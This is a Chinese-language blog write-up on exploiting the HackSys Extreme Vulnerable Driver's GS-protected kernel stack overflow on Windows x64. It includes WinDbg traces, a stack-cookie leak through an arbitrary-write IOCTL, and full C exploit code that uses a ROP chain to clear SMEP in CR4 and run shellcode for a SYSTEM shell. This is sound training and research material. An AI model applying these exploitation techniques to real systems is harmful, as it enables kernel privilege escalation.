Joe1sn's Cabinet

【Win Pwn】HEVD-内核栈溢出GS保护及绕过

HEVD中的栈溢出加上GS保护
还有一个知识点就是windows内核栈地址泄露

函数功能

image-20240124203451123

在上三篇中讲的很清楚了,这里我关闭了KVAS

image-20240124203542280

又是一段经典的栈溢出,但是有了内核的GS保护

编写exploit

这里就不得不提到Windows中一种Cannary的绕过方式了,通过try except的Handler进行绕过,很遗憾handler只在32位程序中才保存在栈上

查阅资料

https://paper.seebug.org/2017/#22

https://kristal-g.github.io/2021/02/07/HEVD_StackOverflowGS_Windows_10_RS5_x64.html

cookie值是存储在_data段的第一个

image-20240124215049718

函数检查的部分,有一个异或

image-20240124215249257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
1: kd> dqs rsp
ffff8788`21979540 00000000`00000000
ffff8788`21979548 ffffc186`261f98f0
ffff8788`21979550 ffffc186`269c86b0
ffff8788`21979558 00000000`80000004
ffff8788`21979560 00000000`00000000
ffff8788`21979568 fffff804`2a4d66e5 HEVD!TriggerBufferOverflowStackGS+0x5 [c:\projects\hevd\driver\hevd\bufferoverflowstackgs.c @ 70]
ffff8788`21979570 00000000`00000000
ffff8788`21979578 00000000`00000003
ffff8788`21979580 54535f57`4f4c4652
ffff8788`21979588 ffffc186`1f93206c
ffff8788`21979590 00000000`00000000
ffff8788`21979598 00000000`00000000
ffff8788`219795a0 00000000`00000000
ffff8788`219795a8 00000000`00000000
ffff8788`219795b0 ffff8788`219796a0
ffff8788`219795b8 00000000`00000000

1: kd> r rax
rax=0000ad1068899811

1: kd> s rsp L1000 07 20 22
ffff8788`219797e8 07 20 22 00 00 00 00 00-20 0d 07 27 86 c1 ff ff . "..... ..'....
ffff8788`21979988 07 20 22 00 86 c1 ff ff-00 00 00 00 00 00 00 00 . ".............
ffff8788`21979a48 07 20 22 00 ff ff ff ff-30 e8 d9 1f 07 00 00 00 . ".....0.......
ffff8788`21979ab8 07 20 22 00 00 00 00 00-30 e8 d9 1f 07 00 00 00 . ".....0.......
1: kd> ? ffff8788`219797e8-rsp
Evaluate expression: 680 = 00000000`000002a8
  1. 利用之前的ulGetBase得到HEVD.sys的基地址

    1
    2
    3
    0: kd> dqs  0xfffff80522fe0000+3000
    fffff805`22fe3000 00006fd9`604347b3
    fffff805`22fe3008 ffff9026`9fbcb84c

    再下断点看看是不是为这个值

    1
    2
    3
    4
    5
    6
    0: kd> g
    Breakpoint 0 hit
    HEVD!TriggerBufferOverflowStackGS+0x1b:
    fffff805`230666fb 4833c4 xor rax,rsp
    1: kd> r rax
    rax=00006fd9604347b3

    还真是,那么访问base+3000就可以得cookie

  2. 如何读取?这个还真没办法,只能利用另外一个漏洞HEVD_IOCTL_ARBITRARY_WRITE,将该值修改为我们自己的值,也可以设置Ring3ToKernel中的一个地址的值为待写入的地方,然后利用这个漏洞将cookie写入

  3. key值位于rsp上,利用NtQuerySystemInformation中的PSYSTEM_EXTENDED_PROCESS_INFORMATION可以得到,

    但是后面又看不了了,这个时候我想了下,一个exp可以看到另外一个exp的栈地址,但是查看自身的时候已经不在上面了,或许改为线程执行可以?

    image-20240224093858858

    就用这种方法试试看

    1
    2
    [+] Found Ring3ToKernel.exe
    Stack base 0xffffef8360dce000 Stack limit 0xffffef8360dc8000

    image-20240224101543720

    偏移是一个定值,再回忆一下之前的cookie生成算法就能得cookie了
    但是有个小问题,合成cookie时,rsp值变化了

    image-20240224103819644
    考虑到push和sub所以:rsp = stack base - 0x868 - 0x258

    此实,key值为:0000768c469d2a88,rsp = ffffef83619aa798,

    1
    2
    >>> hex(0x0000768c469d2a88^(0xffffef83619aa798-0x258))
    '0xffff990f27078fc8'

    得到cookie值为0xffff990f27078fc8

    image-20240224103938531

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    printf("[*] Cookie Address 0x%llx\n",cookie_addr);
    printf("[*] Atribute Write GET key value\n");
    typedef struct _WRITE_WHAT_WHERE
    {
    funcaddr* What;
    funcaddr* Where;
    }arbitrary_write, * pArbitraryWrite;
    funcaddr value = 0;
    pArbitraryWrite payload = (pArbitraryWrite)malloc(sizeof(arbitrary_write));
    payload->What = (funcaddr*)cookie_addr;
    payload->Where = &value;
    DWORD size = sizeof(payload);
    DWORD info = NULL;
    DeviceIoControl(hDevice, 0x22200B,
    payload, size,
    NULL, 0,
    &info, NULL);
    printf("[*] Key value 0x%llx\n", value);
  4. 然后就是经典常规栈溢出+ROP打法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
void StackOverflowGS(HANDLE hDevice, unsigned int ioctl) {
char stackspace[0x1000] = { 0 };
DWORD oldProtect;

printf("[*] Start Exploit\n");
LPVOID shellcode_addr = VirtualAlloc(NULL,
sizeof(cmd),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(shellcode_addr, cmd, sizeof(cmd));

ulGetStackLimit(L"Ring3ToKernel.exe");
funcaddr base = ulGetKernelBase((PCHAR)"ntoskrnl.exe");
funcaddr pop_rcx = base + 0x20C64C;
funcaddr mov_cr4_rcx = base + 0x39eb47;
funcaddr hevd_base = ulGetKernelBase((PCHAR)"HEVD.sys");
funcaddr cookie_addr = hevd_base + 0x3000;


printf("[*] Cookie Address 0x%llx\n",cookie_addr);
printf("[*] Atribute Write GET key value\n");
typedef struct _WRITE_WHAT_WHERE
{
funcaddr* What;
funcaddr* Where;
}arbitrary_write, * pArbitraryWrite;
funcaddr value = 0;
pArbitraryWrite payload = (pArbitraryWrite)malloc(sizeof(arbitrary_write));
payload->What = (funcaddr*)cookie_addr;
payload->Where = &value;
DWORD size = sizeof(payload);
DWORD info = NULL;
DeviceIoControl(hDevice, 0x22200B,
payload, size,
NULL, 0,
&info, NULL);
printf("[*] Key value 0x%llx\n", value);

funcaddr rsp = 0;
scanf_s("%llx", &rsp);
rsp -= (0x868 + 0x258);
printf("[*] RSP value 0x%llx\n", rsp);

rsp ^= value;
printf("[*] Cookie value 0x%llx\n", rsp);

printf("[*] Start set ROP\n");
//RtlFillMemory(stackspace, 0x238, 'A');
RtlFillMemory(stackspace, 0x200, 'A');
size = 0x258;
*(funcaddr*)(stackspace + 0x200) = (funcaddr)rsp;
*(funcaddr*)(stackspace + 0x208) = (funcaddr)rsp;
*(funcaddr*)(stackspace + 0x210) = (funcaddr)rsp;
*(funcaddr*)(stackspace + 0x218) = (funcaddr)rsp;
*(funcaddr*)(stackspace + 0x220) = (funcaddr)rsp;
*(funcaddr*)(stackspace + 0x228) = (funcaddr)rsp;
*(funcaddr*)(stackspace + 0x230) = (funcaddr)rsp;
*(funcaddr*)(stackspace + 0x238) = (funcaddr)pop_rcx;
*(funcaddr*)(stackspace + 0x240) = (funcaddr)0x00000000002506f8;
*(funcaddr*)(stackspace + 0x248) = (funcaddr)mov_cr4_rcx;
*(funcaddr*)(stackspace + 0x250) = (funcaddr)shellcode_addr;

printf("[*] Spawning a new cmd.exe process\n");
system("pause");
DeviceIoControl(hDevice, ioctl,
stackspace, size,
NULL, 0,
&info, NULL);
system("cmd.exe");
}

image-20240224121139780

微调exploit

  • shellcode得仔细调整rsp值

    很简单,和最开的是栈溢出一样,直接一个push两个ret,让rsp+0x28变成了rsp+0x10

  • 还有就是泄露内核栈地址的时候得稳定,让其包含当前进程

    我的解决方法简单粗暴,多线程和直接加 system("pause");,重新弄好的方案都能打包成一个函数了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    unsigned long long ulUseStackInfo(wchar_t ProcName[]) {
    pStackInfo stackinfo = (pStackInfo)malloc(sizeof(StackInfo));
    if (stackinfo == NULL) {
    printf("[!] Can't allocate memory\n");
    return 0;
    }
    stackinfo->ModuleName = ProcName;
    stackinfo->result = 0;
    HANDLE hThread = CreateThread(NULL, 0x100, (LPTHREAD_START_ROUTINE)ulGetStackLimit, stackinfo, NULL, NULL);
    if (hThread == NULL) {
    printf("[!] Can't get thread\n");
    return 0;
    }
    system("pause");
    WaitForSingleObject(hThread, INFINITE);
    funcaddr baseaddr = stackinfo->result;
    CloseHandle(hThread);
    free(stackinfo);
    return baseaddr;
    }

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
void StackOverflowGS(HANDLE hDevice, unsigned int ioctl) {
char stackspace[0x1000] = { 0 };
DWORD oldProtect;

printf("[*] Start Exploit\n");
LPVOID shellcode_addr = VirtualAlloc(NULL,
sizeof(cmd),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(shellcode_addr, cmd, sizeof(cmd));

funcaddr stack_base = ulUseStackInfo(L"Ring3ToKernel.exe");
funcaddr base = ulGetKernelBase((PCHAR)"ntoskrnl.exe");
funcaddr pop_rcx = base + 0x20C64C;
funcaddr mov_cr4_rcx = base + 0x39eb47;
funcaddr hevd_base = ulGetKernelBase((PCHAR)"HEVD.sys");
funcaddr cookie_addr = hevd_base + 0x3000;


printf("[*] Cookie Address 0x%llx\n",cookie_addr);
printf("[*] Atribute Write GET key value\n");
typedef struct _WRITE_WHAT_WHERE
{
funcaddr* What;
funcaddr* Where;
}arbitrary_write, * pArbitraryWrite;
funcaddr value = 0;
pArbitraryWrite payload = (pArbitraryWrite)malloc(sizeof(arbitrary_write));
payload->What = (funcaddr*)cookie_addr;
payload->Where = &value;
DWORD size = sizeof(payload);
DWORD info = NULL;
DeviceIoControl(hDevice, 0x22200B,
payload, size,
NULL, 0,
&info, NULL);
printf("[*] Key value 0x%llx\n", value);

funcaddr cookie = 0;
stack_base -= (0x868 + 0x258);
printf("[*] RSP value 0x%llx\n", stack_base);

cookie = stack_base ^ value;
printf("[*] Cookie value 0x%llx\n", cookie);

printf("[*] Start set ROP\n");
RtlFillMemory(stackspace, 0x200, 'A');
size = 0x258;
//size = 0x200;
*(funcaddr*)(stackspace + 0x200) = (funcaddr)cookie;
*(funcaddr*)(stackspace + 0x208) = (funcaddr)0x00000000;
*(funcaddr*)(stackspace + 0x210) = (funcaddr)0x00000000;
*(funcaddr*)(stackspace + 0x218) = (funcaddr)0x00000000;
*(funcaddr*)(stackspace + 0x220) = (funcaddr)0x00000000;
*(funcaddr*)(stackspace + 0x228) = (funcaddr)0x00000000;
*(funcaddr*)(stackspace + 0x230) = (funcaddr)0x00000000;
*(funcaddr*)(stackspace + 0x238) = (funcaddr)pop_rcx;
*(funcaddr*)(stackspace + 0x240) = (funcaddr)0x00000000002506f8;
*(funcaddr*)(stackspace + 0x248) = (funcaddr)mov_cr4_rcx;
*(funcaddr*)(stackspace + 0x250) = (funcaddr)shellcode_addr;

printf("[*] Spawning a new cmd.exe process\n");
DeviceIoControl(hDevice, ioctl,
stackspace, size,
NULL, 0,
&info, NULL);
system("cmd.exe");
}

image-20240224140007704